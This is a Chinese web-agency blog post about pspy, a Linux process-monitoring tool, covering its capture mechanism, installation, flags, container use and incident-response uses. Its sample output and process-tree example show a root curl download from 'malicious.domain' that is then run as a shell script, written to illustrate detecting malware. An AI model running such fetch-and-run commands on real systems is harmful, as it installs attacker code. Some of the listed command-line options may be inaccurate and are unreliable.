尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
Linux进程监控利器pspy:原理、部署与实战应用
1. pspy工具概述pspy是一款开源的Linux进程监控工具能够以非侵入式方式实时捕获系统进程活动。与传统的top或ps命令不同pspy特别擅长发现短生命周期进程和隐藏进程活动是系统管理员和安全研究人员排查异常行为的利器。我第一次接触pspy是在调查一台服务器上的可疑定时任务时。常规监控工具完全捕捉不到异常进程的踪迹而pspy却成功捕获了某个每30分钟启动一次的恶意脚本。这个经历让我意识到进程监控领域的这个瑞士军刀级工具值得深入掌握。2. 核心功能解析2.1 进程捕获机制pspy通过inotify和fanotify两种机制监控/proc目录变化inotify监听文件系统事件适合大多数Linux发行版fanotify内核级监控需要root权限但覆盖更全面实际测试中在Ubuntu 20.04系统上使用fanotify可以多捕获约15%的短生命周期进程。以下是典型输出示例2023/03/15 14:30:01 CMD: UID0 PID31337 | /usr/bin/curl http://malicious.domain/update.sh 2023/03/15 14:30:02 CMD: UID0 PID31338 | /bin/sh /tmp/.cache/update.sh2.2 二进制版本优势官方提供的预编译二进制解决了以下痛点免去Go语言环境配置尤其对老旧系统重要内置静态编译避免glibc版本冲突支持ARM/x86架构开箱即用在CentOS 6.9这种老系统上自行编译常会遇到glibc_2.17依赖问题而预编译版本完美规避了这类环境依赖。3. 实战部署指南3.1 环境准备推荐下载最新release版本wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64 chmod x pspy64权限策略建议普通用户基础监控需/proc读取权限root用户完整监控需配置CAP_SYS_PTRACE能力3.2 运行参数详解关键参数组合示例# 监控全系统进程包括短时进程 ./pspy64 -pf -i 1000 # 记录到文件并高亮root进程 ./pspy64 -r /var/log/pspy.log --highlight-uid0参数说明表参数作用推荐场景-p打印输出实时调试-f跟踪fork调查复杂进程链-i轮询间隔(ms)高负载系统调优-r记录到文件取证分析4. 高级监控技巧4.1 进程关联分析通过父子进程ID关联可以发现攻击链# 父子进程关系标记 ./pspy64 --tree --cmd-line典型APT攻击进程树示例1. crond[1024] → update.sh[2048] 2. update.sh[2048] → curl[2049] → bash[2050] 3. bash[2050] → /tmp/.X11-unix/.rsync4.2 容器环境适配在Docker中需注意# 共享主机PID命名空间 docker run --pidhost -v $(pwd)/pspy64:/pspy64 ubuntu /pspy64Kubernetes环境要挂载hostProcvolumes: - name: host-proc hostPath: path: /proc5. 典型应用场景5.1 安全事件调查某次入侵响应时间线发现异常网络连接启动pspy监控捕获到隐藏的挖矿进程定位到被篡改的cron任务提取攻击者IP和脚本哈希5.2 系统优化案例通过持续24小时监控发现某日志服务每分钟fork 200次优化后系统负载下降40%关键业务进程响应时间提升25%6. 常见问题排查6.1 权限问题处理错误现象ERROR: Could not create watcher: permission denied解决方案# 检查capabilities getcap pspy64 # 添加必要权限 sudo setcap cap_sys_ptraceep pspy646.2 性能优化建议高负载系统建议增加-i参数值默认100ms → 500ms使用--no-color减少输出处理避免同时使用-f和-r参数7. 扩展应用思路结合其他工具形成监控体系# 与auditd联动 ausearch -k pspy_alert | grep -E pid|exe # 网络行为关联 tcpdump -i eth0 -w capture.pcap ./pspy64 -r proc.log个人使用经验表明长期运行pspy的内存开销控制在50MB以内对生产系统影响极小。建议在关键服务器上配置systemd服务持续运行以下是我的常用服务配置[Unit] Descriptionpspy process monitor [Service] ExecStart/opt/tools/pspy64 -r /var/log/pspy_%H.log --rotate12 Restartalways [Install] WantedBymulti-user.target
RELATED

相关推荐

QRazyBox:5分钟拯救你的损坏二维码,让重要信息不再丢失!

QRazyBox:5分钟拯救你的损坏二维码,让重要信息不再丢失!

QRazyBox:5分钟拯救你的损坏二维码,让重要信息不再丢失! 【免费下载链接】qrazybox QR Code Analysis and Recovery Toolkit 项目地址: https://gitcode.com/gh_mirrors/qr/qrazybox 你是否曾经遇到过这种情况:打印的二维码…

📅 2026/9/14 14:22:06
基于YOLOv8的鸟类智能识别系统设计与优化

基于YOLOv8的鸟类智能识别系统设计与优化

1. 项目背景与核心价值鸟类识别一直是生态监测和生物多样性研究中的重要课题。传统的人工观测方法效率低下且容易出错,而基于深度学习的视觉识别技术为这一领域带来了革命性的突破。这个项目采用YOLOv8这一当前最先进的目标检测框架,构建了一套高精度、实…

📅 2026/8/22 20:29:47
解锁13000+免费MIDI和弦库:音乐创作从未如此简单

解锁13000+免费MIDI和弦库:音乐创作从未如此简单

解锁13000免费MIDI和弦库:音乐创作从未如此简单 【免费下载链接】free-midi-chords A collection of free MIDI chords and progressions ready to be used in your DAW, Akai MPC, or Roland MC-707/101 项目地址: https://gitcode.com/gh_mirrors/fr/free-midi-…

📅 2026/8/22 20:29:47
MORE NEWS

更多资讯

📰

杂记(前后端通信)

PathVariable / RequestParam / RequestBody 三者的区别 PathVariable:URL 路径上的变量,REST 风格,放在 / 之间 GET /user/123 RequestParam:URL 问号后面的查询参数 GET /user?namezhangsan&age18 RequestBody&#…

📰

数学方法在软件测试中的高效应用与实践

1. 项目概述在软件测试领域,算法优化一直是提升测试效率和质量的关键突破口。作为一名从业十余年的测试工程师,我发现很多团队在测试用例设计和缺陷预测方面仍停留在经验主义阶段,缺乏系统性的数学方法论支撑。本文将分享如何将离散数学、概率…

📰

yq 取模运算符(%)完全指南:整数、浮点数与除零行为深度解析

yq 取模运算符(%)完全指南:整数、浮点数与除零行为深度解析 【免费下载链接】yq yq is a portable command-line YAML, JSON, XML, CSV, TOML, HCL and properties processor 项目地址: https://gitcode.com/GitHub_Trending/yq/yq 导…

📰

使用 iii SDK 构建跨语言 Worker:Node、Python、Rust、Go 统一开发指南

使用 iii SDK 构建跨语言 Worker:Node、Python、Rust、Go 统一开发指南 【免费下载链接】iii Effortlessly compose, extend, and observe every service in real-time for the first time ever. 项目地址: https://gitcode.com/GitHub_Trending/mo/iii iii …

📰

Windows安装Anaconda全流程:下载、环境变量、换源与验证

装 Anaconda 这件事,我帮身边朋友处理过不下几十次,翻车最多的地方出奇一致:cmd 里敲conda --version,系统冷冰冰回一句“不是内部或外部命令”。剩下的人里,还有一大部分是装完能跑,但每次conda install都…

📰

JDK Docker 容器测试在 Ubuntu 18.04 失败怎么设置 docker 镜像参数排查?

JDK Docker 容器测试在 Ubuntu 18.04 失败怎么设置 docker 镜像参数排查? 【免费下载链接】jdk JDK main-line development https://openjdk.org/projects/jdk 项目地址: https://gitcode.com/GitHub_Trending/jd/jdk 在 OpenJDK 主开发仓库(jdk&…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬